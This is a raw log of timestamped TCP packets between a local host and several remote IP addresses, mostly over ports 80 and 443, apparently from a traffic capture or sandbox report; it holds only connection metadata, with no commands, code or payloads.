Nov 17, 2024 22:20:52.399578094 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399584055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399605036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399682045 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399707079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399708033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399754047 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399766922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399827003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399849892 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399857998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399867058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399879932 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399893999 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399904013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399912119 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399924994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399940014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399971008 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399991989 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400007010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400023937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400038004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400051117 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400063992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400074959 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400137901 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400152922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400182009 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400194883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400198936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400217056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400224924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400244951 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400254011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400345087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400361061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400374889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400391102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400403023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400419950 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400437117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400450945 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400454998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400480032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400507927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400525093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400552988 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400568008 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400664091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400681019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400700092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400731087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400742054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400758028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400772095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400788069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400804996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400823116 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400844097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400872946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400881052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.400919914 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.400985003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401012897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401024103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401046991 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401062965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401083946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401106119 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401118040 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401122093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401139021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401163101 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401163101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401180029 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401186943 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401227951 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401319981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401339054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401355028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401372910 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401393890 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401412964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401427984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401444912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401463032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401473045 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401479006 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.401485920 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.401508093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.403615952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.403631926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.403646946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.403692961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.416126966 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.416399956 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.416424990 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.417320967 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.417386055 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.418370008 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.418426037 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.418628931 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.418637037 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.441704988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.441734076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.441750050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.441755056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.441783905 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.441793919 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.443119049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.443207979 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.443214893 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.443223000 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.443240881 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.443258047 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.443273067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.443274975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.443300009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.443320036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.466974974 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.485697985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.485717058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.485733986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.485749960 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.485755920 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.485768080 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.485775948 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.485789061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.485812902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.485829115 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.514240980 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.514271021 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.514333010 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:52.514343977 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.514355898 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.514524937 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:52.515521049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515563011 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515645027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.515788078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515789032 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:52.515800953 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.515852928 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.515855074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515872002 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515887976 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515902042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.515922070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.515929937 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.515942097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515958071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515973091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.515979052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516005993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516015053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516031027 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516056061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516069889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516084909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516087055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516100883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516108990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516113997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516143084 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516151905 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516155958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516170979 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516227961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516237974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516253948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516290903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516294956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516310930 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516330004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516374111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516500950 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516527891 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516542912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516566992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516586065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516606092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516622066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516638041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516645908 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516674042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516674042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516710043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516726017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516740084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516767979 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516771078 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516787052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516793013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516813040 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516823053 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.516829967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516844034 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516856909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.516897917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.558973074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.560482025 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.560516119 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.560563087 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.560591936 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:52.560600996 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.560623884 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:52.561029911 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:52.561029911 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:52.561053038 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.561283112 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.561320066 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.561391115 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:52.563888073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.583277941 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.584290028 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:52.584307909 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.585222960 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.585288048 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:52.586415052 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:52.586472988 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.586597919 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:52.588927984 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.589534044 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.589617968 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.590270996 CET	60904	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.590285063 CET	443	60904	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.593749046 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.593805075 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.593934059 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.594500065 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:52.594530106 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:52.613950968 CET	60917	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:52.613987923 CET	443	60917	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.614118099 CET	60917	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:52.614645958 CET	60917	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:52.614670992 CET	443	60917	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.627334118 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.639023066 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:52.639029980 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.662645102 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.663005114 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.663021088 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.664629936 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.664693117 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.666021109 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.666086912 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.666357994 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.666364908 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:52.685915947 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:52.710525036 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:52.738557100 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.774272919 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.774338961 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:52.776418924 CET	60903	443	192.168.2.7	20.125.209.212
Nov 17, 2024 22:20:52.776436090 CET	443	60903	20.125.209.212	192.168.2.7
Nov 17, 2024 22:20:52.778230906 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.778673887 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.778691053 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.779170036 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.780416965 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.780503988 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.780616045 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.788283110 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.788301945 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.788594007 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.788602114 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.788636923 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.788647890 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.789683104 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.789937973 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.789944887 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.790137053 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.790142059 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.790199041 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.790301085 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.790496111 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.790620089 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.790790081 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.790945053 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.790951967 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.790994883 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.791002035 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.791037083 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.791235924 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.791336060 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.791528940 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.791606903 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.791665077 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.792270899 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.792440891 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.792448997 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.793528080 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.793582916 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.793946981 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.794023037 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.794040918 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.794114113 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.794121027 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.794295073 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.794301987 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.797977924 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.798049927 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.798374891 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.798485041 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.798489094 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.798582077 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.823339939 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.835355997 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.840634108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840667009 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840683937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840703011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840730906 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840738058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840754032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840771914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840786934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840790033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840811014 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840820074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840833902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840837002 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840853930 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840862036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840879917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840893984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840898991 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840914965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840936899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840948105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840954065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840964079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.840991020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.840991020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841032982 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841058969 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.841088057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841104984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.841120005 CET	80	60797	185.215.113.206	192.168.2.7
